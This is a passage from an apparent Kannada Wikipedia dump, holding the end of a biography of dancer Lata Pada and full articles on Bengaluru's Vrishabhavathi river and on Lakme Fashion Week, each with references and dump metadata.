Ottawa asks Rae to head Air India inquiry]." ''[[CBC News]]''. Wednesday 23 November 2005.</ref> ಏರ್ ಇಂಡಿಯಾ ಘಟನೆಯ ಬಗ್ಗೆ ಕೆನಡಾ ಸರ್ಕಾರದ ತನಿಖೆಯ ಬಗ್ಗೆ ಲತಾ ಪಾದ ನಿರಾಶೆ ವ್ಯಕ್ತಪಡಿಸಿದ್ದಾರೆ. <ref>Struck, Doug. "[https://www.washingtonpost.com/ac2/wp-dyn/A45168-2005Mar17?language=printer For Canada's Police Agencies, 'A Multidimensional Failure']{{Dead link|date=June 2021|bot=medic}}." ''[[ಟೊರೊಂಟೊ ಸ್ಟಾರ್|The Toronto Star]]''. Friday 18 March 2005. A20.</ref> ಅಪಘಾತದ ನಂತರ ಅವರು ಘಟನೆಯ ನೆನಪಿಗಾಗಿ "ರಿವೀಲ್ಡ್ ಬೈ ಫೈರ್" ನೃತ್ಯ ತುಣುಕು ರಚಿಸಿದರು. <ref>Mahesh, Chitra. "[https://web.archive.org/web/20031231002036/http://www.hindu.com/fr/2003/12/05/stories/2003120501680300.htm A voyage of discovery]." ''[[The Hindu]]''. Friday 5 December 2003.</ref> == ನೃತ್ಯ ಹಾಗೂ ಮಹಿಳೆ == ವಿವಿಧ ವಿಷಯಗಳ ಮೇಲೆ ಲತಾ ಪಾದರವರು ನೃತ್ಯ ನಿರ್ಮಾಣಗಳಲ್ಲಿ, ಮಹಿಳೆಯರು ಮತ್ತು ಗುರುತನ್ನು ಎತ್ತಿ ತೋರಿಸುವ ಎರಡು ನಿರ್ಮಾಣಗಳು ಪ್ರಶಂಸಾರ್ಹವಾಗಿವೆ. : * 'ತ್ರಿವೇಣಿ', ಸೀತೆ, ದ್ರೌಪದಿ ಮತ್ತು ಅಹಲ್ಯೆಯ ತಲೆಮಾರುಗಳ ಅದೃಶ್ಯ, ಆಗಾಗ್ಗೆ ಮೌನ, ಮಹಿಳೆಯರಿಗೆ ಸಂಬಂಧಿಸಿದೆ. * 'ಸೊಹ್ರಾಬ್: ಮಿರಾಜ್' (ಸೊಹ್ರಾಬ್, ದಾರಿ ಪದ, ಮರೀಚಿಕೆ ಎಂದರ್ಥ), ಇದು ತಾಲಿಬಾನ್ ಆಡಳಿತದ ಅಡಿಯಲ್ಲಿ ಆಫ್ಘನ್ ಮಹಿಳೆಯರ ಅನುಭವಗಳ ಮೇಲೆ ನೆಲೆಸಿದೆ. == ಮರುಮದುವೆ == <ref>[http://www.boloji.com/index.cfm?md=Content&sd=Articles&ArticleID=6188#sthash.NtASFIBD.dpuf'Dancing To Transform'-by V.Radhika Aug,17, 22015]</ref> ಸೆಪ್ಟೆಂಬರ್ ೨೦೦೦ ರಲ್ಲಿ,೨೧ ೨೨ ಲತಾ ಪಾದ ಹರಿ ವೆಂಕಟಾಚಾರ್ಯರನ್ನು ಮರುಮದುವೆಯಾದರು, ನಂತರ ಅವರನ್ನು ೨೦೧೩ ರಲ್ಲಿ ವಂಚನೆಗಾಗಿ ಬಂಧಿಸಲಾಯಿತು. == ಪ್ರಶಸ್ತಿಗಳು, ಪುರಸ್ಕಾರಗಳು == * ಡಿಸೆಂಬರ್ ೨೦೦೮ ರಲ್ಲಿ, ಲತಾ ಪಾದ ಅವರು ನೃತ್ಯ ಸಂಯೋಜಕರಾಗಿ, ಶಿಕ್ಷಕಿ, ನೃತ್ಯಗಾರ್ತಿ ಮತ್ತು ಕಲಾತ್ಮಕ ನಿರ್ದೇಶಕರಾಗಿ [[ಭರತನಾಟ್ಯ|ಭರತನಾಟ್ಯದ]] ಬೆಳವಣಿಗೆಗೆ ನೀಡಿದ ಕೊಡುಗೆಗಳಿಗಾಗಿ ಆರ್ಡರ್ ಆಫ್ ಕೆನಡಾದ ಸದಸ್ಯರಾದರು, ಜೊತೆಗೆ ಕೆನಡಾದಲ್ಲಿನ ಭಾರತೀಯ ಸಮುದಾಯದ ಅವರ ಬದ್ಧತೆ ಮತ್ತು ಬೆಂಬಲಕ್ಕಾಗಿ. <ref>{{Cite web|url=http://www.gg.ca/media/doc.asp?lang=e&DocID=5601|title=Governor General Announces New Appointments to the Order of Canada|date=30 December 2008|archive-url=https://web.archive.org/web/20090121152728/http://www.gg.ca/media/doc.asp?lang=e&DocID=5601|archive-date=21 January 2009|access-date=1 January 2009}}</ref> ಲತಾ ಅವರು ಇತ್ತೀಚೆಗೆ ಟೊರೊಂಟೊದ ಯಾರ್ಕ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯದ ಗ್ರಾಜುಯೇಟ್ ಫ್ಯಾಕಲ್ಟಿ ಆಫ್ ಡ್ಯಾನ್ಸ್‌ನಲ್ಲಿ ಸಹಾಯಕ ಪ್ರಾಧ್ಯಾಪಕರಾಗಿ ನೇಮಕಗೊಂಡರು. * ಆಕೆ ''ಏರ್ ಇಂಡಿಯಾ ೧೮೨'' ಸಾಕ್ಷ್ಯಚಿತ್ರದ ಸಂದರ್ಶನದ ವಿಷಯಗಳಲ್ಲಿ ಒಬ್ಬಳು. <ref name="AI182filmpresskit">"[http://www.airindia182.com/downloads/AirIndia182PressKit.pdf Air India 182 Press Kit]" (). ''Air India 182'' (film) official website. p. 10/12. Retrieved on 22 October 2014.</ref> ಎ೧೮೨ನಲ್ಲಿ ''ಮೇಡೇ'' ಸಂಚಿಕೆಗಾಗಿ ಅವಳು ಸಂದರ್ಶನ ಮಾಡಿದ್ದಳು. [[ಚಿತ್ರ:Chandrashekharanand_hall,_Mumbai.jpg|thumb| 'ಷಣ್ಮುಖಾನಂದ ಸಭಾಂಗಣ, ಮಾಟುಂಗಾ, ಮುಂಬೈ']] * ೯ ಜನವರಿ ೨೦೧೧ ರಂದು, ಭಾರತದ ರಾಷ್ಟ್ರಪತಿಗಳಿಂದ ಪಾದ ಅವರಿಗೆ ಪ್ರವಾಸಿ ಭಾರತೀಯ ಸನ್ಮಾನ ಪ್ರಶಸ್ತಿಯನ್ನು ನಿಡಲಾಯಿತು. ೨೦೦೩ ರಲ್ಲಿ ಭಾರತ ಸರ್ಕಾರವು ಸ್ಥಾಪಿಸಿದ ಈ ಪ್ರಶಸ್ತಿಯು ವಿದೇಶದಲ್ಲಿರುವ ಸಾಗರೋತ್ತರ ಭಾರತೀಯರ ಅತ್ಯುತ್ತಮ ಕೊಡುಗೆಗಳನ್ನು ಗುರುತಿಸುತ್ತದೆ. * ೧೯೮೫ರಲ್ಲಿ ಏರ್ ಇಂಡಿಯಾ ಫ್ಲೈಟ್ ೧೮೨ರ ಮೇಲೆ ನಡೆದ ಬಾಂಬ್ ದಾಳಿಯ ಬಗ್ಗೆ ಸಾರ್ವಜನಿಕ ವಿಚಾರಣೆಯನ್ನು ಕೋರುವಲ್ಲಿ ಲತಾ ಅವರು ನೃತ್ಯ ಕ್ಷೇತ್ರದಲ್ಲಿ ಅನುಕರಣೀಯ ಕೊಡುಗೆಗಳಿಗಾಗಿ ಪ್ರವಾಸಿ ಭಾರತೀಯ ಸನ್ಮಾನ್ ಪ್ರಶಸ್ತಿಯನ್ನು ಪಡೆದರು. * ಕೆನಡಾದಲ್ಲಿ ಪಾದಳು ಈ ಪ್ರತಿಷ್ಠಿತ ಗೌರವವನ್ನು ಪಡೆದ ಮೊದಲ ಪ್ರದರ್ಶಕ ಕಲಾವಿದ ಎ೦ದು ಹೆಳಬಹುದು, <ref>[http://alumni.news.yorku.ca/2009/05/01/pada-receives-oc/ New yorku, ' It's a first: South Asian Lata Pada artist receives the Order of Canada published 1 May 2009']</ref> <ref>[[Pravasi Bharatiya Samman]]</ref> * ೧೮ಜೂನ್ ೨೦೧೨ ರಂದು, ಕೆನಡಾದಲ್ಲಿ ದಕ್ಷಿಣ ಏಷ್ಯಾದ ನೃತ್ಯವನ್ನು ಉತ್ತೇಜಿಸುವಲ್ಲಿ ಅವರ ಅತ್ಯುತ್ತಮ ಕೊಡುಗೆಗಳಿಗಾಗಿ ಪಾದ ಅವರಿಗೆ ರಾಣಿ ಎಲಿಜಬೆತ್ II ಡೈಮಂಡ್ ಜುಬಿಲಿ ಪದಕವನ್ನು ನೀಡಲಾಯಿತು. <ref>[http://www.visiontv.ca/2012/06/27/lata-pada-awarded-queen-elizabeth-ii-diamond-jubilee-medal/ ZOOMERTV, Lata Pada Awarded Queen Elizabeth II Diamond Jubilee Medal, 27 June 2012]</ref> [[ಚಿತ್ರ:Guru_Kalyanasundaram's_80th_birth_day_celebrations.jpg|thumb| ಗುರು ಕಲ್ಯಾಣಸುಂದರಂ ಅವರ 80ನೇ ಹುಟ್ಟುಹಬ್ಬದ ಸಂಭ್ರಮ]] == ಗುರುಗಳಿಗೆ ನಮನ == ಷಣ್ಮುಖಾನಂದ ಸಭಾಂಗಣದಲ್ಲಿ ೧ ಮಾರ್ಚ್ ೨೦೧೨ ರಂದು ಸಂಜೆ ೬-೩೦ ಕ್ಕೆ ಏರ್ಪಡಿಸಲಾಗಿದ್ದ 'ನಮ್ಮ ಗುರುಗಳಿಗೆ ನಮನ' ಎಂಬ ಸನ್ಮಾನ ಸಮಾರಂಭವನ್ನು ಏರ್ಪಡಿಸಲಾಗಿತ್ತು. ಗುರುಗಳ ೮೦ನೇ ಜನ್ಮದಿನಕ್ಕೆ ಸಂಬಂಧಿಸಿದಂತೆ. ಶ್ರೀ. ಕಲ್ಯಾಣ ಸುಂದರಂ ಪಿಳ್ಳೈ, 'ಶ್ರೀ. ರಾಜರಾಜೇಶ್ವರಿ ಭರತ ನಾಟ್ಯ ಕಲಾ ಮಂದಿರ' ಮಾಟುಂಗಾ, ಮುಂಬೈ. 'ಶ್ರೀಮತಿ. ಲತಾ ಪಾದ' ವಿದ್ಯಾಲಯದ ಹಲವಾರು ಸ್ಥಾಪಿತ ಕಲಾವಿದರಲ್ಲಿ ಒಬ್ಬರು. ಶ್ರೀಮತಿ ಅವರಿಂದ ಭರತನಾಟ್ಯ ಕಾರ್ಯಕ್ರಮ ನಡೆಯಿತು. ವಿಜಿ ಪ್ರಕಾಶ್, ಕಲಾ ನಿರ್ದೇಶಕರು, ಶಕ್ತಿ ಸ್ಕೂಲ್ ಆಫ್ ಭರತ ನಾಟ್ಯಂ, ಲಾಸ್ ಏಂಜಲೀಸ್, ಯು.ಎಸ್.ಎ. <ref>[http://www.mythiliprakash.com/about.html#A Chi. Mythili prakash]</ref> ಈ ಸಂದರ್ಭದಲ್ಲಿ ಅವರ ಶಿಷ್ಯೆ ಮತ್ತು ಮಗಳು ಮೈಥಿಲಿ ಪ್ರಕಾಶ್ ಅವರು ಭರತನಾಟ್ಯದ ಅದ್ಭುತ ಪ್ರದರ್ಶನ ನೀಡಿದರು. amfcy4a7o164muqodvktkf8fiog1ez8 ವೃಷಭಾವತಿ ನದಿ 0 143852 1116477 1114161 2022-08-23T13:31:02Z InternetArchiveBot 69876 Rescuing 0 sources and tagging 1 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Infobox ನದಿ|length={{convert|52|km|mi|abbr=on}}approx.|mouth=[[Arkavati|Arkavati River]]|mouth_elevation={{convert|638|m|abbr=on}}}} '''ವೃಷಭಾವತಿ ನದಿಯು''' [[ಅರ್ಕಾವತಿ ನದಿ|ಅರ್ಕಾವತಿ ನದಿಯ]] ಉಪನದಿಯಾಗಿದೆ. ಇದು [[ಬೆಂಗಳೂರು]] ನಗರದ ದಕ್ಷಿಣ ಭಾಗದಲ್ಲಿ ಹರಿಯುತ್ತದೆ. <ref name="woesflow">{{Cite news|url=http://articles.timesofindia.indiatimes.com/2005-03-21/bangalore/27847608_1_basin-cultivation-villages|title=Woes flow along Vrishabhavathi basin|last=S|first=Kushala|date=2005-03-21|work=[[The Times of India]]|access-date=30 April 2012|location=Bangalore}}{{Dead link|date=ಆಗಸ್ಟ್ 2022 |bot=InternetArchiveBot |fix-attempted=yes }}</ref> ಪ್ರಾಚೀನ ಕಾಲದಲ್ಲಿ ನದಿಯ ನೀರನ್ನು ಕುಡಿಯಲು ಬಳಸುತ್ತಿದ್ದರು ಮತ್ತು ಗಾಲಿ ಆಂಜನೇಯ ದೇವಸ್ಥಾನಕ್ಕೆ ಬಳಸಲಾಗುತ್ತಿದ್ದರು. ಕೈಗಾರಿಕೆ, ಕೃಷಿ ಮತ್ತು ದೇಶೀಯ ಮೂಲಗಳ ಮಾಲಿನ್ಯಕಾರಕಗಳಿಂದ ನದಿಯು ಕಲುಷಿತಗೊಂಡಿದೆ. . <ref>{{Cite book|url=https://books.google.com/books?id=vtxxDAAAQBAJ&pg=PT394|title=Seen & Unseen Bangalore|last=Bharadwaj|first=Arun|date=20 June 2016|isbn=9789386073181|pages=[https://books.google.com/books?id=vtxxDAAAQBAJ&pg=PT394 394–]}}</ref> == ವ್ಯುತ್ಪತ್ತಿ == ವೃಷಭಾವತಿ ಎಂಬ ಪದವು ''ವೃಷಭ'' ಎಂಬ [[ಸಂಸ್ಕೃತ]] ಪದದಿಂದ ಬಂದಿದೆ. ಇದು [[ಬಸವನಗುಡಿ|ಬಸವನಗುಡಿಯ]] [[ದೊಡ್ಡ ಗಣೇಶನ ಗುಡಿ|ಬಿಗ್ ಬುಲ್ ಟೆಂಪಲ್‌ನಲ್ಲಿರುವ]] ಏಕಶಿಲೆಯ ನಂದಿ ಪ್ರತಿಮೆಯ ಅಡಿಯಿಂದ ಈ ನದಿಯು ಹುಟ್ಟುತ್ತದೆ. ಆದ್ದರಿಂದ ಇದಕ್ಕೆ ''ವೃಷಭಾವತಿ'' ಎಂಬ ಹೆಸರು ಬಂದಿದೆ. <ref name="iisc">{{Cite web|url=http://wgbis.ces.iisc.ernet.in/energy/water/paper/ETR122/vrishabhavathi.html|title=Vrishabhavathi Valley|access-date=2020-06-25}}</ref> == ಕೋರ್ಸ್ == ನದಿಯ ಮೂಲವು ನಂದಿ ತೀರ್ಥ ಅಥವಾ ಮಲ್ಲೇಶ್ವರಂನ ಕಾಡು [[ಮಲ್ಲೇಶ್ವರಂ|ಮಲ್ಲೇಶ್ವರ]] ದೇವಸ್ಥಾನದ ಸಮೀಪದಲ್ಲಿದೆ. ಈನದಿಯು ನಾಯಂಡಹಳ್ಳಿ, [[ರಾಜರಾಜೇಶ್ವರಿ ನಗರ]] ಮತ್ತು [[ಕೆಂಗೇರಿ|ಕೆಂಗೇರಿಯಂತಹ]] ಪ್ರಮುಖ ಪ್ರದೇಶಗಳ ಮೂಲಕ ಹರಿಯುತ್ತದೆ . ಮಂತ್ರಿ ಮಾಲ್ ಮಲ್ಲೇಶ್ವರಂ, ಮಾಗಡಿ ರಸ್ತೆ ಮತ್ತು ಮೈಸೂರು ರಸ್ತೆ ಮೆಟ್ರೋ ನಿಲ್ದಾಣಗಳ ಬಳಿ ಹರಿದು ಈ ನದಿಯು ಬಿಡದಿ ಬಳಿಯ '''ವೃಷಭಾವತಿ ಜಲಾಶಯದಲ್ಲಿ''' ಕೊನೆಗೊಳ್ಳುತ್ತದೆ. <ref name=":0">{{Cite news|url=http://www.bangaloremirror.com/bangalore/others/Even-STP-cant-clean-up-Vrishabhavathy/articleshow/47152139.cms|title=EVEN STP CAN'T CLEAN UP VRISHABHAVATHY|via=Bangalore Mirror}}</ref> ಇದು ಉಪನದಿಯಾಗಿ [[ಕನಕಪುರ|ಕನಕಪುರದ]] ಬಳಿಯ [[ಅರ್ಕಾವತಿ ನದಿ|ಅರ್ಕಾವತಿ ನದಿಯನ್ನು]] ಸೇರುತ್ತದೆ. ಈ ನದಿಯು ೩೮೩ ಚದರ ಕಿ.ಮೀ ಜಲಾಶಯದ ಪ್ರದೇಶವನ್ನು ಹೊಂದಿದೆ ಮತ್ತು ಬೆಂಗಳೂರಿನ ೧೯೮ ವಾರ್ಡ್‌ಗಳಲ್ಲಿ ೯೬ ವಾರ್ಡುಗಳ ಮೂಲಕ ಹಾದುಹೋಗುತ್ತದೆ. <ref>{{Cite news|url=https://timesofindia.indiatimes.com/city/bengaluru/karnataka-frothing-reduces-vrishabhavathi-water-crystal-clear-after-decades/articleshow/75150777.cms|title=Frothing reduces, Vrishabhavathi water crystal clear after decades|last=Mandyam|first=Nithya|work=Times of India|access-date=17 April 2020|issue=14 April 2020}}</ref> ನದಿಯು [[ಬಸವನಗುಡಿ|ಬಸವನಗುಡಿಯ]] [[ಬ್ಯೂಗಲ್ ರಾಕ್]] ಬಳಿ ಹುಟ್ಟುತ್ತದೆ ಮತ್ತು ಮೈಸೂರು ರಸ್ತೆಯ ಬಳಿ ಮುಖ್ಯ ನದಿಯನ್ನು ಸೇರುತ್ತದೆ. <ref name="riverhealth">{{Cite news|url=https://www.deccanherald.com/spectrum/lockdown-and-a-rivers-health-826651.html|title=Lockdown and a river's health|last=Gowda|first=Varsha|date=17 April 2020|work=Deccan Herald|access-date=17 April 2020}}</ref> [[File:Basavanagudi_Boulder_Inscription_Colour_English.jpg|alt=Inscription dated to the 16th century mentioning that the river originates at the feet of Basaveshwara at the Big Bull Temple|thumb|16 ನೇ ಶತಮಾನದ ಶಾಸನವು ದೊಡ್ಡ ಬುಲ್ ಟೆಂಪಲ್‌ನಲ್ಲಿರುವ ಬಸವೇಶ್ವರನ ಪಾದದಲ್ಲಿ ನದಿಯು ಹುಟ್ಟುತ್ತದೆ ಎಂದು ಉಲ್ಲೇಖಿಸುತ್ತದೆ.]] == ಧಾರ್ಮಿಕ ಮಹತ್ವ == ನದಿಯ ಉದ್ದಕ್ಕೂ ಹಲವಾರು ದೇವಾಲಯಗಳಿವೆ ಅವು [[ದೊಡ್ಡ ಗಣೇಶನ ಗುಡಿ|ದೊಡ್ಡ ಗಣೇಶ ಮತ್ತು ದೊಡ್ಡ ಬಸವ ದೇವಸ್ಥಾನ]], ಗಾಲಿ ಹನುಮಂತ ದೇವಸ್ಥಾನ, [[ಗವಿ ಗಂಗಾಧರೇಶ್ವರ ದೇವಾಲಯ, ಬೆಂಗಳೂರು|ಗವಿ ಗಂಗಾಧರೇಶ್ವರ ದೇವಸ್ಥಾನ]] ಮತ್ತು ಕಾಡು ಮಲ್ಲೇಶ್ವರ ದೇವಸ್ಥಾನಗಳು. ಇವು ವೃಷಭಾವತಿ ದಡದಲ್ಲಿರುವ ಕೆಲವು ಪ್ರಸಿದ್ಧ ದೇವಾಲಯಗಳಾಗಿವೆ. ಗಾಲಿ ಹನುಮಂತ ದೇವಾಲಯವು ೬೦೦ ವರ್ಷಗಳಷ್ಟು ಹಳೆಯದಾಗಿದೆ. ಇದನ್ನು [[ವಿಜಯನಗರ ಸಾಮ್ರಾಜ್ಯ|ವಿಜಯನಗರ ಸಾಮ್ರಾಜ್ಯದ]] ರಾಜಗುರುಗಳಾಗಿದ್ದ ಚನ್ನಪಟ್ಟಣದ ಶ್ರೀ [[ವ್ಯಾಸರಾಯರು]] ೧೪೨೫ ರಲ್ಲಿ ನಿರ್ಮಿಸಿದರು. ವೃಷಭಾವತಿ ಮತ್ತು ಪಶ್ಚಿಮವಾಹಿನಿ ಎಂಬ ಎರಡು ನದಿಗಳ ಸಂಗಮದಲ್ಲಿ ಈ ದೇವಾಲಯವನ್ನು ನಿರ್ಮಿಸಲಾಗಿದೆ. ಕೆಂಗೇರಿಯಲ್ಲಿರುವ ಈಶ್ವರ ದೇವಾಲಯವು ಕ್ರಿ.ಶ.೧೦೫೦ ರ ಹಿಂದಿನದು. <ref name="iisc"/> == ಮಾಲಿನ್ಯ ಮತ್ತು ಪ್ರಸ್ತುತ ಕಾಳಜಿಗಳು == ಕೈಗಾರಿಕೆ, ಕೃಷಿ ಮತ್ತು ದೇಶೀಯ ಮೂಲಗಳ ಮಾಲಿನ್ಯಕಾರಕಗಳಿಂದಾಗಿ ನದಿಯು ಹೆಚ್ಚು ಕಲುಷಿತಗೊಂಡಿದೆ. <ref name="woesflow"/> <ref name="sullagekillingvillage">{{Cite news|url=http://www.deccanherald.com/content/59308/city-sullage-killing-many-village.html|title=City sullage killing many a village|last=Kumar|first=Rupesh|date=2005-03-21|access-date=30 April 2012|publisher=[[Deccan Herald]]|location=Ramanagara}}</ref> "ಸಂಸ್ಕರಣೆ ಮಾಡದೆ ಅಥವಾ ಸಂಸ್ಕರಿಸಿದ ಕೊಳಚೆನೀರು ನದಿಗೆ ಸೇರುವುದರಿಂದ" ಇದು ಗಾಢ, ವಾಸನೆ ಮತ್ತು ನೊರೆಯಿಂದ ಕೂಡಿದೆ ಎಂದು ಹೇಳಲಾಗುತ್ತದೆ. <ref name="riverhealth"/> ೨೦೦೫ ರಲ್ಲಿ [[ಕರ್ನಾಟಕದ ಮುಖ್ಯಮಂತ್ರಿಗಳು|ಕರ್ನಾಟಕದ ಮುಖ್ಯಮಂತ್ರಿ]] [[ಧರಮ್ ಸಿಂಗ್|ಧರಂ ಸಿಂಗ್]] ಅವರು ನದಿಯ ಅಗಲೀಕರಣವನ್ನು ಮಾಡಲು [[ಕಣಿವೆ|ನದಿ ಕಣಿವೆಯನ್ನು]] ಮರುರೂಪಿಸಲು ಪ್ರಸ್ತಾಪಿಸಿದರು ಮತ್ತು ಪ್ರವಾಹವನ್ನು ತಡೆಗಟ್ಟಲು ಕ್ರಮಗಳನ್ನು ಅಳವಡಿಸಿಕೊಂಡರು. <ref name="remodelling">{{Cite news|url=http://www.hindu.com/2005/05/27/stories/2005052718340300.htm|title=Experts suggest Vrishabhavathi Valley remodelling|date=2005-05-27|work=[[The Hindu]]|access-date=30 April 2012|location=Bangalore}}</ref> == ಉಲ್ಲೇಖಗಳು == <references group="" responsive="1"></references> {{ಕರ್ನಾಟಕದ ನೀರಾವರಿ}} [[ವರ್ಗ:ಭಾರತದ ನದಿಗಳು]] [[ವರ್ಗ:ಕರ್ನಾಟಕದ ನದಿಗಳು]] m6ekjaywadz617gz2wn9serqez6mym9 ಲ್ಯಾಕ್ಮೆ ಫ್ಯಾಶನ್ ವೀಕ್ 0 144089 1116445 1113093 2022-08-23T12:43:45Z InternetArchiveBot 69876 Rescuing 1 sources and tagging 0 as dead.) #IABot (v2.0.9 wikitext text/x-wiki {{Infobox recurring event |name=ಲ್ಯಾಕ್ಮೆ ಫ್ಯಾಶನ್ ವೀಕ್ |native_name= |native_name_lang= |logo= |logo_caption=ಲ್ಯಾಕ್ಮೆ ಫ್ಯಾಶನ್ ವೀಕ್ |logo_size= |image=Nargis Fakhri in Ritu Kumar's ensemble at Lakme Fashion Week at Grand Hyatt Mumbai, by SouBoyy, Sourendra Kumar Das..jpg |image_size=220px|caption=ಲ್ಯಾಕ್ಮೆ ಫ್ಯಾಶನ್ ವೀಕ್‍ನಲ್ಲಿ ನರ್ಗಿಸ್ ಫಕ್ರಿ (೨೦೧೩) |status=ಸಕ್ರಿಯ |genre= |date= |begins= |ends= |frequency= ದ್ವೈವಾರ್ಷಿಕ |venue=ಬೇರೆ ಬೇರೆ |location=[[ಮುಂಬಯಿ]] |country={{flag|India}}|years_active=1999–present|first=1999|founder_name=|last=|prev=August 2018|next=April 2019|sponsor=IMG Reliance|website={{URL|https://lakmefashionweek.co.in/|lakmefashionweek.co.in}}}} '''ಲಕ್ಮೆ ಫ್ಯಾಶನ್ ವೀಕ್''' [[ಭಾರತ|ಭಾರತದ]] [[ಮಹಾರಾಷ್ಟ್ರ|ಮಹಾರಾಷ್ಟ್ರದ]] [[ಮುಂಬಯಿ.|ಮುಂಬೈನಲ್ಲಿ]] ನಡೆಯುವ ಎರಡು-ವಾರ್ಷಿಕ ಫ್ಯಾಷನ್ ವಾರವಾಗಿದೆ. ಇದರ ''ಬೇಸಿಗೆ-ರೆಸಾರ್ಟ್'' ಪ್ರದರ್ಶನವು ಏಪ್ರಿಲ್‌ನಲ್ಲಿ ನಡೆಯುತ್ತದೆ ಮತ್ತು ''ಚಳಿಗಾಲದ-ಹಬ್ಬದ'' ಪ್ರದರ್ಶನವು ಸಾಮಾನ್ಯವಾಗಿ ಆಗಸ್ಟ್‌ನಲ್ಲಿ ನಡೆಯುತ್ತದೆ. <ref name="iejuly11">{{Cite news|url=http://www.indianexpress.com/news/another-fashion-week/821039/|title=ANOTHER FASHION WEEK ?|date=23 July 2011|work=[[The Indian Express]]|access-date=1 April 2012}}</ref> == ಇತಿಹಾಸ == '''ಲಕ್ಮೆ ಫ್ಯಾಶನ್ ವೀಕ್''' ಈವೆಂಟ್ ಮೊದಲ ಬಾರಿಗೆ 1999 ರಲ್ಲಿ ನಡೆದಿತ್ತು. == ಚಟುವಟಿಕೆಗಳು == ಇದು ಭಾರತದ ಪ್ರಮುಖ ಫ್ಯಾಷನ್ ಈವೆಂಟ್‌ಗಳಲ್ಲಿ ಒಂದಾಗಿದೆ. <ref name="reuters08">{{Cite news|url=http://in.reuters.com/article/2008/03/19/idINIndia-32577020080319|title=Mumbai all set for Lakme Fashion Week|date=19 March 2008|work=[[Reuters]]|access-date=1 April 2012|archive-date=1 ಫೆಬ್ರವರಿ 2013|archive-url=https://archive.today/20130201052548/http://in.reuters.com/article/2008/03/19/idINIndia-32577020080319|url-status=dead}}</ref> ಜೊತೆಗೆ ‌‍ FDCIನ ಇಂಡಿಯಾ ಫ್ಯಾಶನ್ ವೀಕ್ ಮತ್ತು ಇಂಡಿಯಾ ರನ್‌ವೇ ವೀಕ್ . ಇದನ್ನು ಜಂಟಿಯಾಗಿ [[ಲಕ್ಮೆ|Lakmé]] ಮತ್ತು IMG ರಿಲಯನ್ಸ್ ಲಿಮಿಟೆಡ್ ನಡೆಸುತ್ತದೆ ಮತ್ತು ಆಯೋಜಿಸಲಾಗಿದೆ, ಅಲ್ಲಿ ಶೀರ್ಷಿಕೆ ಪ್ರಾಯೋಜಕರು Lakmé ಆಗಿದೆ. <ref name="toi02">{{Cite news|url=http://timesofindia.indiatimes.com/Fashion-business-poised-for-dramatic-growth-FDCI/articleshow/17896739.cms|title=Fashion business poised for dramatic growth: FDCI|date=2 August 2002|work=[[Times of India]]|access-date=1 April 2012}}</ref> ನವೋಮಿ ಕ್ಯಾಂಪ್‌ಬೆಲ್‌ನಂತಹ ಅಂತರರಾಷ್ಟ್ರೀಯ ಮಾಡೆಲ್‌ಗಳು ಮತ್ತು ಭಾರತೀಯ ಚಲನಚಿತ್ರ ತಾರೆಯರಾದ [[ಪ್ರಿಯಾಂಕಾ ಚೋಪ್ರಾ|ಪ್ರಿಯಾಂಕಾ ಚೋಪ್ರಾ ಜೋನಾಸ್]], [[ದೀಪಿಕಾ ಪಡುಕೋಣೆ (ನಟಿ)|ದೀಪಿಕಾ ಪಡುಕೋಣೆ]], ಮಲೈಕಾ ಅರೋರಾ ಖಾನ್ ಮತ್ತು ಅರ್ಜುನ್ ರಾಮ್‌ಪಾಲ್ ಇದರಲ್ಲಿ ಭಾಗವಹಿಸಿದ್ದಾರೆ, ಇದು ವಿಶ್ವದ ಪ್ರಮುಖ ಫ್ಯಾಷನ್ ಶೋಗಳಲ್ಲಿ ಒಂದಾಗಿದೆ. LFW ನಲ್ಲಿ ಭಾಗವಹಿಸಿದ ಅಂತರರಾಷ್ಟ್ರೀಯ ಲೇಬಲ್‌ಗಳಲ್ಲಿ [[ಲೂಯಿ ವಿಟಾನ್]], ಡೋಲ್ಸ್ & ಗಬ್ಬಾನಾ ಮತ್ತು ರಾಬರ್ಟೊ ಕವಾಲಿ ಸೇರಿವೆ. ಭಾರತೀಯ ವಿನ್ಯಾಸಕರಲ್ಲಿ, ಅಜಯ್ ಕುಮಾರ್, ಮನೀಶ್ ಮಲ್ಹೋತ್ರಾ, ರೋಹಿತ್ ಬಾಲ್, ತರುಣ್ ತಹಿಲಿಯಾನಿ ಮತ್ತು ರಿತು ಬೆರಿ ಈವೆಂಟ್‌ನಲ್ಲಿ ಭಾಗವಹಿಸಿದ್ದಾರೆ. <ref name="mrajaykumar">{{Cite web|url=https://www.thehindu.com/features/metroplus/fashion/bengalurus-designer-ajay-kumar-marks-his-fashion-week-debut/article7404243.ece|title=Loud patterns, bold statement|access-date=9 July 2015}}</ref> <ref>{{Cite news|url=http://www.vogue.in/content/lakme-fashion-week-2013-dates-announced|title=LFW 2013 announced|access-date=15 October 2012}}</ref> <ref name="ieaugust11">{{Cite news|url=http://www.indianexpress.com/news/fashions-milestones/832225/0|title=Fashion's Milestones|date=16 August 2011|work=[[The Indian Express]]|access-date=1 April 2012}}</ref> ಈ ಕಾರ್ಯಕ್ರಮವು ಸಬ್ಯಸಾಚಿ ಮುಖರ್ಜಿಯಂತಹ ವಿನ್ಯಾಸಕರ ವೃತ್ತಿಜೀವನವನ್ನು ಪ್ರಾರಂಭಿಸಲು ಕಾರಣವಾಗಿದೆ. <ref name="tt05">{{Cite news|url=http://www.telegraphindia.com/1050424/asp/nation/story_4654867.asp|title=New star rises from east|date=24 April 2005|work=[[The Telegraph (Calcutta)|The Telegraph]]|access-date=1 April 2012}}</ref> [[ಕರೀನಾ ಕಪೂರ್]], ಜಾಕ್ವೆಲಿನ್ ಫರ್ನಾಂಡೀಸ್, ಸುಶ್ಮಿತಾ ಸೇನ್, [[ಪ್ರಿಯಾಂಕಾ ಚೋಪ್ರಾ]], [[ದೀಪಿಕಾ ಪಡುಕೋಣೆ (ನಟಿ)|ದೀಪಿಕಾ ಪಡುಕೋಣೆ]] ಮತ್ತು ಲೀಸಾ ಹೇಡನ್ ಇಲ್ಲಿಯವರೆಗಿನ ಪ್ರಮುಖ ಶೋ-ಸ್ಟಾಪರ್‌ಗಳಾಗಿದ್ದಾರೆ. * == ಉಲ್ಲೇಖಗಳು == <references /> == ಬಾಹ್ಯ ಕೊಂಡಿಗಳು == {{Commons category}} * [http://www.apnnews.com/2015/07/14/nations-most-coveted-model-auditions-at-lakme-fashion-week-is-back/ Mumbai Auditions] * [http://hoture.com/category/lakmefashionweek-2013-fc/ Lakme Fashion Week 2013 videos] ppfzhdtk3rcs9a4j9yowabnocpnp4n2 